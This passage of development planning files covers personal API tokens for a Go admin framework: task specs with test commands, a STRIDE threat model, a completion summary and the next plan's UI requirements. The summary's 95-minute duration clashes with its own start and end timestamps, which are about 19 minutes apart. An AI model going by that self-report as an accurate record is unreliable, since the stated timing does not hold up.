Smoke test `TestTokenGatesSmoke` (Docker-free, package cabana): with the Task 1 in-memory store and stub users, assert a `*` token gets 403 interactive_only from the wrapped PUT /account handler and from the refresh handler given a raw g15_ Bearer; a `demo` token gets 403 token_scope from fieldTypesList; an `admin:read` GET passes fieldTypesList; ResolveBackend on an app with a published resolver returns ErrTokenScope for a `demo:reports` POST and for cover acme.other.* , ErrUnauthenticated for no Bearer and for a malformed token, and a principal carrying the credential for a `demo` GET with cover acme.demo.*; two authentications within a minute call the store's stamp once.</action>
<verify>
<automated>go vet ./modules/cabana &amp;&amp; go test -count=1 -run '^(TestTokenTracerSmoke|TestTokenGatesSmoke|TestPhase09PermissionMatrix|TestPhase09ContractInventory|TestPhase10ConformanceInventory|TestPhase10CSRF)$' -v ./modules/cabana 2&gt;&amp;1 | grep -c '^--- PASS: Test' | grep -qx 6</automated>
<fails_when>Non-zero exit or fewer than six "--- PASS: Test" lines: a gate, the interactive-only marker, the resolver or the stamp debounce misbehaves, or a wrapper broke the route inventory or CSRF tests.</fails_when>
<automated>docker info &gt;/dev/null 2&gt;&amp;1 &amp;&amp; go test -count=1 -run '^(TestTokenTracerPostgres|TestAdminAuthLifecycle|TestAdminLogoutRevokesExpiredRefreshableToken)$' -v ./modules/cabana 2&gt;&amp;1 | grep -c '^--- PASS: Test' | grep -qx 3</automated>
<fails_when>Non-zero exit: no Docker daemon (record NOT RUN), or the tracer, the JWT login/refresh lifecycle or the logout test regressed after wrapping refresh and logout.</fails_when>
</verify>
<acceptance_criteria>
- `grep -n "interactiveOnly(" modules/cabana/http.go` prints at least five lines (account, two avatar, refresh, logout).
- `grep -n "tokenRouteGate" modules/cabana/field_type.go modules/cabana/field_markdown.go` prints one line per file.
- `grep -n "func ResolveBackend" modules/cabana/token_guard.go` prints one line, and `grep -n "app.Publish" modules/cabana/http.go` shows a publish of the resolver.
- `grep -n '"account"' modules/cabana/registry.go` prints a line in `reservedVendorSegments`.
</acceptance_criteria>
<done>Tokens are refused on every interactive-only route, unscoped routes outside Allows are gated, plugins can resolve a backend principal (JWT or token) with a scope cover check, and token use is stamped at most once a minute.</done>
</task>
<task type="auto">
<name>Task 3: Account token API (list, create, revoke, scopes) with swag annotations, regenerated OpenAPI and TS types, route inventories and server-side phrase keys</name>
<files>modules/cabana/account_tokens.go, modules/cabana/api_tokens.go, modules/cabana/token_scopes.go, modules/cabana/http.go, modules/cabana/admin_openapi.go, modules/cabana/security_coverage_test.go, modules/cabana/openapi_conformance_test.go, modules/cabana/token_postgres_smoke_test.go, modules/phrasebook/backend/lang/en/lang.yaml, modules/phrasebook/backend/lang/pl/lang.yaml, admin/openapi/admin.json, admin/src/api/schema.d.ts</files>
<read_first>modules/cabana/account.go (accountPrincipal :216, backendMessage :246, accountUpdate :289, refusedAccountKeys :445, writeAccountError :495), modules/cabana/relation_child.go (decodeCappedObject :700), modules/cabana/field_file.go (fieldDetail :873), modules/cabana/crud.go (ValidationError :65, writeCRUDError :737), modules/cabana/http.go (translator :797), modules/cabana/form_schema.go (schemaLocale :361), modules/cabana/admin_openapi.go (header :1-12, AdminMe and AdminAccountUpdate :190-219), modules/cabana/security_coverage_test.go (phase09Routes), modules/cabana/phase09_contract_test.go, modules/cabana/openapi_conformance_test.go (conformCases :230, the /account/avatar cases :515-540, newConformEnv :765), scripts/check-admin-openapi.sh, modules/phrasebook/backend/lang/en/lang.yaml and pl/lang.yaml (myaccount block :234), 16.3-UI-SPEC.md Copywriting Contract (:131-206) and Component Contracts 3-5 (:221-281), 16.3-RESEARCH.md Pattern 5 (:364-380) and Pitfalls 8 and 9 (:490-495); for the Task 1-2 code, the as-built signatures only (see Plan sizing note, seam after Task 2)</read_first>
<action>Implement the D-16 to D-18 server half; the SPA (plan 02) relies on these exact shapes (Interfaces section of this plan).
Validation and issue (api_tokens.go, per D-08, D-17): put the rules in a pure `validateTokenRequest` (no database: catalog, owner principal, raw name, expires and scopes, the clock and a CLI-mode flag in; cleaned values and field-keyed message keys out) and grow `issueAPIToken` into the single path used by the API and the CLI that calls it and then inserts: trim the name and require 1 to 100 runes (`api_tokens.name_required`, `api_tokens.name_too_long`); `parseTokenExpiry` accepts 30d, 90d, 365d and never (absent means 90d) for the API, and additionally YYYY-MM-DD (00:00 UTC, must be after now) for the CLI (`api_tokens.expires_invalid`); scopes: empty → `api_tokens.scopes_required`; a list containing `*` becomes exactly [`*`]; duplicates removed keeping order; each name must exist in the catalog and overlap the owner (`scopeOverlaps`, the D-17 rule in this plan) or the error is `api_tokens.scope_unavailable` with :name. Return field-keyed messages the handler turns into a `ValidationError`. `revokeAPIToken(db, ownerID, id, revokedBy)` updates revoked_at and revoked_by only where id, backend_user_id and revoked_at IS NULL match and reports not found otherwise.
Handlers (account_tokens.go): `accountTokensList`, `accountTokenCreate`, `accountTokenRevoke`, `accountTokenScopes`, each starting with `accountPrincipal`, each using `s.db()` with the slog plus 500 tail of accountUpdate. Create decodes with `decodeCappedObject`, refuses keys other than name, expires and scopes as PUT /account does, answers 201 with the created row plus `token` (the only place the plaintext ever appears). List filters by the principal's id, hides revoked rows unless the query value revoked is 1 or true, orders by created_at DESC then id DESC, and maps each stored scope to `{name, label, description, read_only, known}`: labels and descriptions translated server-side in the request locale (RESEARCH Pitfall 9; `*` and `admin:read` from the api_tokens keys), read_only true when the scope's methods are only GET and HEAD, unknown names returned with known false and label equal to the name. `expired` is computed server-side. Scopes answers the picker list in catalog order filtered by `scopeOverlaps`, `*` always first. Revoke parses {id}, answers 404 `not_found` when nothing was revoked, else 200 with the row.
Mount (http.go): GET and POST /account/tokens, GET /account/tokens/scopes and DELETE /account/tokens/{id} inside the backend group next to the account routes, each wrapped in `interactiveOnly`, writes also in `requireAjax` (per D-06, D-18).
OpenAPI (admin_openapi.go): types `AdminAPIToken`, `AdminAPITokenScope`, `AdminAPITokenCreated`, `AdminAPITokenRequest` and stubs `AdminAccountTokens`, `AdminAccountTokenCreate` (documents @Success 201, RESEARCH Pitfall 8), `AdminAccountTokenRevoke`, `AdminAccountTokenScopes` in the AdminAccountUpdate style, each with @Failure 401, 403 (interactive_only) and 422/404 as they apply and a @Description naming the interactive-only rule. Change the BackendBearer description to say the header carries an admin access token or a personal API token (g15_…), and that account and token routes refuse personal tokens. Run `bash scripts/check-admin-openapi.sh` to regenerate admin/openapi/admin.json and admin/src/api/schema.d.ts and commit both with the routes (TestPhase09ContractInventory reads the committed document).
Inventories: add the four route keys to `phase09Routes` and four `conformCases` (list after a create, create with scopes [`*`] expecting 201, revoke of a token created in the case, scopes) using the env's JWT.
Phrase keys (per UI-SPEC copy): add an `api_tokens:` block next to `myaccount:` in en and pl with the nine server-side keys from the Interfaces section, Polish first as the design language and the UI-SPEC wording where it names the key.
Smoke test `TestAccountTokensSmoke` (Postgres, cabana_test, adminHandler harness): log in a developer admin, GET /account/tokens/scopes includes `*` and `demo`, POST creates a `demo` token (201, token matches g15_ plus 40 hex, no token_hash key in the body), GET lists it with hint equal to the token's last four characters and no token key, the token itself is refused on GET /account/tokens with 403 interactive_only, DELETE revokes it (200) and a second DELETE is 404, and the revoked token now answers 401 on the widgets list.</action>
<verify>
<automated>go vet ./modules/cabana &amp;&amp; go test -count=1 -run '^(TestPhase09PermissionMatrix|TestPhase09ContractInventory|TestPhase10ConformanceInventory|TestTokenTracerSmoke|TestTokenGatesSmoke)$' -v ./modules/cabana 2&gt;&amp;1 | grep -c '^--- PASS: Test' | grep -qx 5 &amp;&amp; bash scripts/check-admin-openapi.sh --check &amp;&amp; npm --prefix admin run typecheck</automated>
<fails_when>Non-zero exit: fewer than five "--- PASS: Test" lines (a new route is missing from phase09Routes, the committed OpenAPI or conformCases), check-admin-openapi reports admin.json or schema.d.ts stale, or the SPA no longer typechecks against the regenerated types.</fails_when>
<automated>docker info &gt;/dev/null 2&gt;&amp;1 &amp;&amp; go test -count=1 -run '^(TestAccountTokensSmoke|TestPhase10OpenAPIConformance)$' -v ./modules/cabana 2&gt;&amp;1 | grep -c '^--- PASS: Test' | grep -qx 2</automated>
<fails_when>Non-zero exit: no Docker daemon (record NOT RUN), the account token smoke fails (plaintext leaked into a list, a token reached a token route, revoke not soft or not own-only), or a documented response schema does not match a real response.</fails_when>
</verify>
<acceptance_criteria>
- `grep -c '"/account/tokens' admin/openapi/admin.json` reports at least 1, and `grep -n '"201"' admin/openapi/admin.json` includes the create operation.
- `grep -n "account/tokens" modules/cabana/security_coverage_test.go modules/cabana/openapi_conformance_test.go` prints four route lines in each file.
- `grep -c "api_tokens:" modules/phrasebook/backend/lang/en/lang.yaml modules/phrasebook/backend/lang/pl/lang.yaml` reports 1 for each file.
- In modules/cabana/account_tokens.go the only JSON key carrying the plaintext is set in the create handler: `grep -n '"token"' modules/cabana/account_tokens.go modules/cabana/admin_openapi.go` lines all belong to the create path or the AdminAPITokenCreated type.
</acceptance_criteria>
<done>A signed-in admin can list, create (plaintext once), revoke and pick scopes through the documented admin API, and the OpenAPI document, TS types and inventories cover the four routes.</done>
</task>
<task type="auto">
<name>Task 4: admin:token:* CLI with party.Activated, summer delegates, and the framework READMEs and docs pages</name>
<files>modules/party/registry.go, modules/party/registry_test.go, modules/party/README.md, modules/cabana/token_commands.go, modules/cabana/commands.go, modules/cabana/token_scopes.go, modules/cabana/registry.go, modules/cabana/token_postgres_smoke_test.go, modules/cabana/README.md, modules/pact/README.md, modules/bouncer/README.md, modules/lagoon/README.md, cmd/summer/runtime.go, cmd/summer/runtime_test.go, docs/examples/blog/token_scopes.go, docs/examples/blog/lang/en/lang.yaml, docs/backend/users-and-permissions.md, docs/services/authentication.md, docs/console/setup-and-maintenance.md, docs/console/introduction.md, docs/plugins/registration.md</files>
<read_first>modules/party/registry.go (activate, SetPlugins :107), modules/backpack/services.go (Publish duplicate rule), modules/cabana/commands.go (RuntimeCommands :18, adminCreate, adminResetPassword, flagValue :192, withAdminDB :200), modules/cabana/auth.go (findBackendLogin :417), modules/bonfire/command.go (Flag.Repeatable, Input.Flags), modules/bonfire/output.go (Println, Table), modules/bonfire/root.go, cmd/summer/runtime.go (delegateCommands), cmd/summer/runtime_test.go (TestDelegateCommandsHelp count 11), cmd/summer/docs.go (docsCommands), internal/build/build.go (generated main calls cabana.RuntimeCommands(app)), modules/cabana/commands_test.go (TestAdminCreateCommand, commandApp, flagInput), docs/examples/blog/plugin.go and lang/en/lang.yaml, docs/backend/users-and-permissions.md, docs/services/authentication.md, docs/console/setup-and-maintenance.md (Admin accounts), docs/console/introduction.md (delegate table), docs/plugins/registration.md (capability table), modules/pact/README.md, modules/bouncer/README.md, modules/cabana/README.md (Features, Admin API routes, API reference, CLI commands), modules/party/README.md, modules/lagoon/README.md (:129), CLAUDE.md Documentation section, 16.3-RESEARCH.md Pattern 7 (:416-433) and Pitfalls 6, 7 and 12 (:484-489, :502-504)</read_first>
<action>party (user-confirmed Option A, per D-19): declare `Activated` as the ordered `[]Plugin` and publish it with `app.Publish` right after `app.SetPlugins(orderedIDs)` (an error is returned as `party: …`); doc comment says commands read it at Run time. Smoke test `TestActivatePublishesPlugins` in modules/party: after activate, `app.Lookup[Activated]()` returns the plugins in activation order.
Catalog for the CLI (token_scopes.go, registry.go): extract the permission and role-grant loop of `compileContributions` into a helper both paths call, and add `compileTokenCatalog(plugins)` returning a Registry holding only permissions, role grants and the token scope catalog (no controllers, settings or navigation, so plugins with navigation compile).
Commands (token_commands.go; registered by RuntimeCommands, signature unchanged; constructors only capture app so docsCommands keeps working): `admin:token:create` (Arg identifier required; Flags name, scope Repeatable, expires default 90d) resolves the user with `findBackendLogin` (ambiguity rule unchanged), refuses deactivated or soft-deleted users, loads the owner principal with `BackendUsers{DB, Registry: catalog registry}.FindByID` so code-declared roles count, calls `issueAPIToken` (same rules as the API, D-17), and on success writes exactly the token and a newline with `out.Println` and nothing else on stdout (RESEARCH Pitfall 7; errors are returned, never printed). `admin:token:list` (optional identifier, Bare flag revoked) prints a `Table` with id, login, name, scopes, hint as g15_…last4, created, last used, expires and revoked, never the hash or plaintext. `admin:token:revoke` (Arg id) revokes any user's active token with revoked_by NULL; not found is an error, an already revoked token prints that it was already revoked and exits 0. `admin:token:scopes` prints name, label (translated with the app translator when published, otherwise the key), read-only and permissions. When `party.Activated` is not published the commands use the framework scopes only and say so on stderr-safe paths (create and scopes return an error naming the unknown scope as usual). Smoke test `TestTokenCommandsSmoke` (Postgres, cabana_test, commandApp plus a published party.Activated holding the demo test plugin): create prints exactly one line matching g15_ plus 40 hex, list shows the hint and not the token, revoke works, scopes lists `*`, admin:read and demo.
summer (cmd/summer/runtime.go): four delegate rows for admin:token:create (hint: identifier, --name, --scope repeatable, --expires), admin:token:list, admin:token:revoke and admin:token:scopes; update `TestDelegateCommandsHelp` to 15 commands and add hints for admin:token:create.
Docs example: docs/examples/blog/token_scopes.go with the compile-time assertion for `pact.HasTokenScopes` and `TokenScopes()` returning `blog` (acme.blog.*, GET, HEAD, POST, PUT, PATCH, DELETE) and `blog:read` (acme.blog.*, GET, HEAD) with phrase keys acme.blog::lang.scopes.*, and those keys in docs/examples/blog/lang/en/lang.yaml (the example activates through cabana, which now validates them).
READMEs (CLAUDE.md, same change, neutral names): pact (Features line and API reference rows for TokenScope and HasTokenScopes), bouncer (ScopeLimit, Principal.Scope), cabana (Features: composite backend guard, personal API tokens, scopes and framework scopes, interactive-only routes, route gates; Admin API routes: the four account token routes; API reference: BackendAPIToken, APITokenPrefix, ResolveBackend, ErrUnauthenticated, ErrTokenScope and the four OpenAPI types; CLI commands table: the four admin:token commands with a pipe example `TOKEN=$(./bin/acme admin:token:create admin@example.com --name agent --scope blog)`), party (Activated in Features and API reference), lagoon (the BackendAdminMigrations row names backend_api_tokens).
docs/ pages: users-and-permissions.md gets an "API tokens" section (format and storage, scopes and the framework scopes, owner ∩ scope with the multi-code rule, deny by default and the gated routes, interactive-only routes, expiry and revoke, the four account endpoints, a `src=docs/examples/blog/token_scopes.go#Plugin.TokenScopes` fence and the boot rules); authentication.md describes the composite backend guard under "Guards and middleware" and a subsection on accepting admin tokens on plugin routes with ResolveBackend (Bearer only, cover codes, the two sentinel errors); setup-and-maintenance.md adds the four commands to "Admin accounts"; introduction.md adds the four delegate rows; registration.md adds a capability row for `pact.HasTokenScopes`. Run `go run ./cmd/summer docs:sync` if a src= fence changed, then the checks.</action>
<verify>
<automated>go vet ./... &amp;&amp; go test -count=1 ./modules/party ./modules/pact &amp;&amp; go test -count=1 -run '^(TestDocsTree|TestDelegateCommandsHelp|TestDocsCommandsMirrorGeneratedMain)$' -v ./cmd/summer 2&gt;&amp;1 | grep -c '^--- PASS: Test' | grep -qx 3 &amp;&amp; go run ./cmd/summer docs:build --check &amp;&amp; go test -short -count=1 -run '^(TestPluginActivates|TestRoutesRegistered)$' ./docs/examples/blog</automated>
<fails_when>Non-zero exit: vet fails anywhere, the party or pact package fails (Activated not published), fewer than three passing cmd/summer tests (a docs identifier or command name is unknown, a delegate row or its hint is missing), docs:build --check reports a problem, or the blog example no longer activates (a scope label key is missing or a scope rule is broken).</fails_when>
<automated>docker info &gt;/dev/null 2&gt;&amp;1 &amp;&amp; go test -count=1 -run '^(TestTokenCommandsSmoke|TestAdminCreateCommand)$' -v ./modules/cabana 2&gt;&amp;1 | grep -c '^--- PASS: Test' | grep -qx 2</automated>
<fails_when>Non-zero exit: no Docker daemon (record NOT RUN), create printed anything besides the token line, or the existing admin:create test regressed.</fails_when>
</verify>
<acceptance_criteria>
- `grep -n "func RuntimeCommands(app \*backpack.App) \[\]bonfire.Command" modules/cabana/commands.go` prints one line (signature unchanged).
- `grep -c "admin:token:" cmd/summer/runtime.go` reports 4 and `grep -n "want 15" cmd/summer/runtime_test.go` prints one line.
- `grep -l "HasTokenScopes" modules/pact/README.md docs/backend/users-and-permissions.md docs/plugins/registration.md` lists all three files; `grep -l "ResolveBackend" modules/cabana/README.md docs/services/authentication.md` lists both; `grep -l "ScopeLimit" modules/bouncer/README.md` and `grep -l "Activated" modules/party/README.md` each list their file; `grep -c "admin:token:" modules/cabana/README.md docs/console/setup-and-maintenance.md` reports at least 4 for each.
- `grep -ciE "fonoteka|p[lł][yý]tarium|grzyby" docs/backend/users-and-permissions.md docs/services/authentication.md modules/cabana/README.md` reports 0 for each file.
</acceptance_criteria>
<done>Operators manage any user's tokens from the app binary (and through summer), plugin scopes are visible to the CLI without a host main change, and every new exported identifier, route and command is documented in its module README and the docs pages.</done>
</task>
</tasks>
<threat_model>
## Trust Boundaries
| Boundary | Description |
|----------|-------------|
| client → admin API | Authorization header (JWT or g15_ token) and cookie cross here; untrusted |
| client → plugin routes via ResolveBackend | Bearer value only; plugin routes have no CSRF check |
| plugin code → cabana boot | plugins declare scopes and permissions compiled at boot |
| operator → CLI | runs with database access; may mint for any user |
| database → process | token rows; only hashes stored |
## STRIDE Threat Register
| Threat ID | Category | Component | Severity | Disposition | Mitigation Plan |
|-----------|----------|-----------|----------|-------------|-----------------|
| T-16.3-01 | Spoofing | compositeGuard token branch | high | mitigate | 160-bit crypto/rand secret; wellFormedAPIToken refuses anything but g15_ plus 40 lowercase hex before the database; lookup by unique sha256 then crypto/subtle compare; expired, revoked and dead-owner tokens are 401 |
| T-16.3-02 | Information Disclosure | backend_api_tokens | medium | mitigate | Only sha256 hex and a four-character hint are stored; TokenHash is json:"-"; list and CLI outputs never carry hash or plaintext |
| T-16.3-03 | Information Disclosure | create response, logs | high | mitigate | Plaintext only in the 201 create body and the CLI stdout line; admin.auth logs carry outcome, admin_id and token_id only, never the Authorization value |
| T-16.3-04 | Elevation of Privilege | cabana.Allows | high | mitigate | Scope branch before the IsSuperuser and empty-list shortcuts; per-scope every-code match plus owner-held code; superuser limited by the scope; smoke tests cover superuser and out-of-scope cases |
| T-16.3-05 | Elevation of Privilege | account, token, refresh, logout routes | high | mitigate | interactiveOnly refuses any token credential or raw g15_ Bearer, `*` included, with 403 interactive_only before requireAjax and the handler |
| T-16.3-06 | Spoofing / Tampering (CSRF) | token transport, ResolveBackend | high | mitigate | Token branch reads only the Authorization Bearer header; cookie values never reach it; ResolveBackend wraps a cookie-less JWT guard so plugin write routes cannot be driven by the admin cookie |
| T-16.3-07 | Elevation of Privilege | owner loading | medium | mitigate | lazyBackendUsers.FindByID per request: deactivated or soft-deleted owners fail with 401; code-declared role grants come from the compiled registry |
| T-16.3-08 | Elevation of Privilege | issueAPIToken (API and CLI) | medium | mitigate | Scope names validated against the catalog and the overlap rule; unknown stored names grant nothing; scopes immutable after creation |
| T-16.3-09 | Denial of Service | last_used_at writes | low | mitigate | Per-token one-minute in-process gate plus conditional UPDATE; stamp failures never fail auth |
| T-16.3-10 | Denial of Service | invalid token floods | low | accept | Format check precedes an indexed unique lookup; 160-bit secrets are not guessable; no new throttle bucket (the admin API has none beyond login) |
| T-16.3-11 | Tampering | scope registration | medium | mitigate | Boot fails on duplicate, reserved (`*`, admin, admin:…) or invalid names, unknown permissions or methods, missing GET, unresolved phrase keys |
| T-16.3-12 | Repudiation | revoke | low | mitigate | Soft revoke keeps revoked_at and revoked_by (NULL for the CLI); denials logged as admin.auth events |
| T-16.3-13 | Elevation of Privilege | routes outside Allows | high | mitigate | tokenRouteGate on /field-types and /markdown/preview; /navigation and /settings filter per item through Allows; plan 04 classifies every mounted route in a test table |
| T-16.3-SC | Tampering | npm/pip/cargo installs | high | mitigate | No package is installed; swag runs pinned at v1.16.6 through the existing scripts/check-admin-openapi.sh; openapi-typescript comes from the committed admin lockfile |
</threat_model>
<verification>
- Task 1: tracer smoke and inventories pass; Postgres tracer and lagoon migration tests pass on a Docker host.
- Task 2: gates smoke, CSRF and inventories pass; JWT lifecycle tests still pass on a Docker host.
- Task 3: inventories, OpenAPI drift gate and SPA typecheck pass; account token smoke and OpenAPI conformance pass on a Docker host.
- Task 4: go vet ./..., party, pact, TestDocsTree, delegate help, docs:build --check and the blog example pass; command smoke passes on a Docker host.
- Every Postgres line not run here is listed NOT RUN in the SUMMARY.
</verification>
<success_criteria>
- SC-1 and SC-2 hold at the framework level: tokens authenticate as their owner and never exceed the owner or the scope, with deny-by-default outside Allows.
- SC-3 server half: account token API and CLI work; SC-5 framework half: READMEs and docs updated in the same plan.
- No new dependency; JWT behaviour unchanged.
</success_criteria>
<output>
Create `.planning/phases/16.3-backend-admin-personal-api-tokens-with-scopes/16.3-01-SUMMARY.md` when done, with the commit list, the exported API as built, any name that differs from this plan, and the Postgres tests run or NOT RUN.
</output>

View File

@@ -0,0 +1,189 @@
---
phase: 16.3-backend-admin-personal-api-tokens-with-scopes
plan: 01
subsystem: auth
tags: [api-tokens, scopes, cabana, bouncer, pact, party, lagoon, admin-cli, openapi, g15]
requires:
- phase: 16.2-plugin-provided-field-types-and-the-blog-editor-formwidget
provides: cabana Activate, admin OpenAPI inventories, BackendAdminMigrations, My account routes
provides:
- "pact.TokenScope and pact.HasTokenScopes"
- "bouncer.ScopeLimit and Principal.Scope"
- "backend_api_tokens migration and cabana.BackendAPIToken / APITokenPrefix"
- "composite backend guard, interactiveOnly, tokenRouteGate, ResolveBackend, ErrUnauthenticated, ErrTokenScope"
- "account token API (list/create/revoke/scopes) with OpenAPI and phrase keys"
- "admin:token:* CLI via party.Activated and summer delegates"
- "framework READMEs and docs for tokens, scopes, ResolveBackend and CLI"
affects: [16.3-02, 16.3-03, 16.3-04, sm-journal-plugin]
actuals:
tokens: 40262
tasks: 4
commits: 5
plan_head_before: 4d107f4ccb3ed00bf12b680b07c2e7874b345198
plan_head_after: e24e03c47d84f854b6c66c1b317940492b60f441
tech-stack:
added: []
patterns:
- "Composite backend guard: Bearer g15_ → token branch; else unchanged JWT+cookie path"
- "party.Activated published at Activate for CLI catalog without changing RuntimeCommands(app)"
- "Scope before superuser/empty-list in Allows; interactive_only and token_scope reasons"
key-files:
created:
- modules/cabana/api_tokens.go
- modules/cabana/token_scopes.go
- modules/cabana/token_guard.go
- modules/cabana/account_tokens.go
- modules/cabana/token_commands.go
- modules/cabana/token_smoke_test.go
- modules/cabana/token_postgres_smoke_test.go
- docs/examples/blog/token_scopes.go
modified:
- modules/pact/capabilities.go
- modules/bouncer/context.go
- modules/lagoon/backend_admin_migrations.go
- modules/cabana/contracts.go
- modules/cabana/http.go
- modules/cabana/registry.go
- modules/cabana/admin_openapi.go
- modules/party/registry.go
- cmd/summer/runtime.go
- admin/openapi/admin.json
- admin/src/api/schema.d.ts
- modules/phrasebook/backend/lang/en/lang.yaml
- modules/phrasebook/backend/lang/pl/lang.yaml
- docs/backend/users-and-permissions.md
- docs/services/authentication.md
- docs/console/setup-and-maintenance.md
- docs/console/introduction.md
- docs/plugins/registration.md
key-decisions:
- "D-03 literal: one method-allowed scope must match every required code; ScopeLimit keeps per-scope pattern slices"
- "CLI uses party.Activated at Run time; cabana.RuntimeCommands(app) signature unchanged (Option A)"
- "ResolveBackend is Bearer-only (cookie-less JWT guard) so plugin writes cannot be CSRF-driven by summer_admin"
- "Exported names match the plan Interfaces section; no as-built renames"
patterns-established:
- "Personal API token: g15_+40 hex, sha256+hint stored, plaintext once on create/CLI stdout"
- "Plugin scopes via HasTokenScopes; framework * and admin:read; boot fails loud on bad registration"
requirements-completed: [SC-1, SC-2, SC-3, SC-5]
coverage:
- id: D1
description: "g15_ token authenticates through the composite backend guard as its owner, scoped by Allows"
requirement: SC-1
verification:
- kind: unit
ref: modules/cabana/token_smoke_test.go#TestTokenTracerSmoke
status: pass
- kind: integration
ref: modules/cabana/token_postgres_smoke_test.go#TestTokenTracerPostgres
status: pass
human_judgment: false
- id: D2
description: "Out-of-scope and non-Allows routes refuse tokens; interactive-only routes refuse all personal tokens; ResolveBackend and last_used debounce work"
requirement: SC-2
verification:
- kind: unit
ref: modules/cabana/token_smoke_test.go#TestTokenGatesSmoke
status: pass
human_judgment: false
- id: D3
description: "Account token API list/create/revoke/scopes with OpenAPI, inventories and phrase keys"
requirement: SC-3
verification:
- kind: integration
ref: modules/cabana/token_postgres_smoke_test.go#TestAccountTokensSmoke
status: pass
- kind: other
ref: bash scripts/check-admin-openapi.sh --check
status: pass
human_judgment: false
- id: D4
description: "admin:token:* CLI with party.Activated, summer delegates, READMEs and docs"
requirement: SC-5
verification:
- kind: integration
ref: modules/cabana/token_postgres_smoke_test.go#TestTokenCommandsSmoke
status: pass
- kind: unit
ref: cmd/summer/runtime_test.go#TestDelegateCommandsHelp
status: pass
- kind: other
ref: go run ./cmd/summer docs:build --check
status: pass
human_judgment: false
duration: 95min
completed: 2026-10-11
status: complete
---
# Phase 16.3 Plan 01: Framework personal API tokens Summary
**Scoped g15_ personal API tokens through a composite backend guard, account API, admin:token CLI and docs — owner ∩ scope, interactive-only gates, ResolveBackend for plugins.**
## Performance
- **Duration:** 95 min
- **Started:** 2026-10-10T23:41:00Z
- **Completed:** 2026-10-11T00:00:00Z
- **Tasks:** 4
- **Files modified:** 43
## Accomplishments
- Tracer path: mint → hash store → composite guard → ScopeLimit → Allows (scope before superuser)
- Deny-by-default gates: interactiveOnly, field-types/markdown tokenRouteGate, published ResolveBackend, debounced last_used_at
- Account token API with OpenAPI/TS types, inventories and backend::lang.api_tokens phrase keys
- admin:token:* CLI via party.Activated, summer delegates, blog HasTokenScopes example, five module READMEs and five docs pages
## Task Commits
Each task was committed atomically:
1. **Task 1: Tracer** - `b9273c1` (feat)
2. **Task 2: Gates, ResolveBackend, stamp** - `183583e` (feat)
3. **Task 3: Account token API + OpenAPI** - `ffdb5d0` (feat)
4. **Task 4: CLI, party.Activated, READMEs/docs** - `e24e03c` (feat)
**Plan metadata:** (this commit)
## Exported API as built
Matches the plan Interfaces section: `pact.TokenScope` / `HasTokenScopes`; `bouncer.ScopeLimit` / `Principal.Scope`; `party.Activated`; `cabana.BackendAPIToken`, `APITokenPrefix`, `ResolveBackend`, `ErrUnauthenticated`, `ErrTokenScope`; OpenAPI types and swag stubs; CLI `admin:token:create|list|revoke|scopes`. No name differs from the plan.
## Decisions Made
- Followed locked D-01–D-20 and Option A for CLI plugin access (`party.Activated`).
- `validateTokenRequest` + `validateTokenScopes` helper; `compilePermissionCatalog` shared by `compileContributions` and `compileTokenCatalog`.
## Deviations from Plan
None - plan executed as written.
## Issues Encountered
None
## Postgres verify status
All Docker-host Postgres lines from this plan were **RUN** and passed on this host:
- Task 1: `TestTokenTracerPostgres`, `TestBackendAdminMetadataColumn`, `TestPhase09MigrationsFreshRollback`
- Task 2: `TestTokenTracerPostgres`, `TestAdminAuthLifecycle`, `TestAdminLogoutRevokesExpiredRefreshableToken`
- Task 3: `TestAccountTokensSmoke`, `TestPhase10OpenAPIConformance`
- Task 4: `TestTokenCommandsSmoke`, `TestAdminCreateCommand`
## User Setup Required
None - no external service configuration required.
## Next Phase Readiness
Ready for 16.3-02 (admin SPA API tokens card on My account). Framework half of SC-1/SC-2/SC-3/SC-5 is in place for Journal (16.3-03) and unit tests (16.3-04).
---
*Phase: 16.3-backend-admin-personal-api-tokens-with-scopes*
*Completed: 2026-10-11*

View File

@@ -0,0 +1,245 @@
---
phase: 16.3-backend-admin-personal-api-tokens-with-scopes
plan: 02
type: execute
wave: 2
depends_on: ["16.3-01"]
files_modified:
- admin/src/components/account/ApiTokensPanel.vue
- admin/src/components/account/ApiTokenCreateDialog.vue
- admin/src/views/AccountView.vue
- admin/src/components/ui/ConfirmDialog.vue
- admin/tests/account/ApiTokensPanel.test.ts
- admin/tests/views/AccountView.test.ts
- modules/phrasebook/backend/lang/en/lang.yaml
- modules/phrasebook/backend/lang/pl/lang.yaml
- modules/boardwalk/dist
- docs/backend/users-and-permissions.md
- docs/backend/admin-spa.md
autonomous: true
requirements: [SC-3, SC-5]
estimate:
tokens: 95000
raw_tokens: 95000
tasks: 3
confidence: low
must_haves:
truths:
- "D-16: the My account page (/account) shows an API tokens card after the profile and password form and outside it, listing, creating and revoking only the signed-in admin's own tokens; the page's footer Save never sends token data; there is no view of other users' tokens."
- "D-11 and UI-SPEC §3: each row shows the name (wrapped, never truncated), the mono hint g15_…last4 with the aria-label api_tokens.hint, one chip per stored scope in stored order (`*` labelled Full access, an unknown scope as a dashed mono chip with the unknown_scope_hint title), and the meta line created · last used or never used · expires, expired or no expiry (· revoked for revoked rows); rows are newest first; Revoke token shows on active and expired rows and never on revoked rows."
- "UI-SPEC §7: the list shows three skeleton rows with aria-busy while loading, the dashed empty block (api_tokens.empty_title and empty_body) when there are no tokens, and the api_tokens.load_failed alert block (role=alert) with the toggle hidden when the load fails; Create token is disabled only during the first load."
- "D-09: the Show revoked tokens checkbox reloads the list with revoked rows (muted, Revoked chip, no revoke button); its state lives only in the component."
- "D-08 and D-17 (dialog step 1): the create dialog has a name input (maxlength 100), the expiry segmented control 30d, 90d, 365d, never with 90d preselected and a local-date preview line, and a scope picker rendered from GET /account/tokens/scopes in server order with label, mono name, Read-only chip for GET/HEAD-only scopes and description; checking `*` unchecks and disables every other scope, shows api_tokens.scope_all_includes and sends exactly [\"*\"]; no scope is preselected; 422 messages render under the field with aria-invalid and focus moves to the first invalid control; while busy the fieldset, Discard token, close, Esc and overlay are inert and a second submit does nothing; a non-422 failure shows the create_failed toast and keeps the input."
- "D-16 (dialog step 2): a successful create swaps the same dialog to the show-once step: the bg-sel note api_tokens.created_notice, the full plaintext in a read-only mono input that selects on focus, Copy token with a two-second Copied state, and Done, hide token; overlay clicks never close step 2; the list reloads in the background."
- "UI-SPEC §6: Revoke token asks the shared ConfirmDialog (danger, api_tokens.revoke_confirm with the name, confirm label api_tokens.revoke_submit) and runs DELETE /account/tokens/{id} as the confirm action; success reloads the list and shows the revoked toast; 404 shows api_tokens.gone and reloads; other failures show api_tokens.revoke_failed and keep the row; ConfirmDialog's description wraps long names ([overflow-wrap:anywhere])."
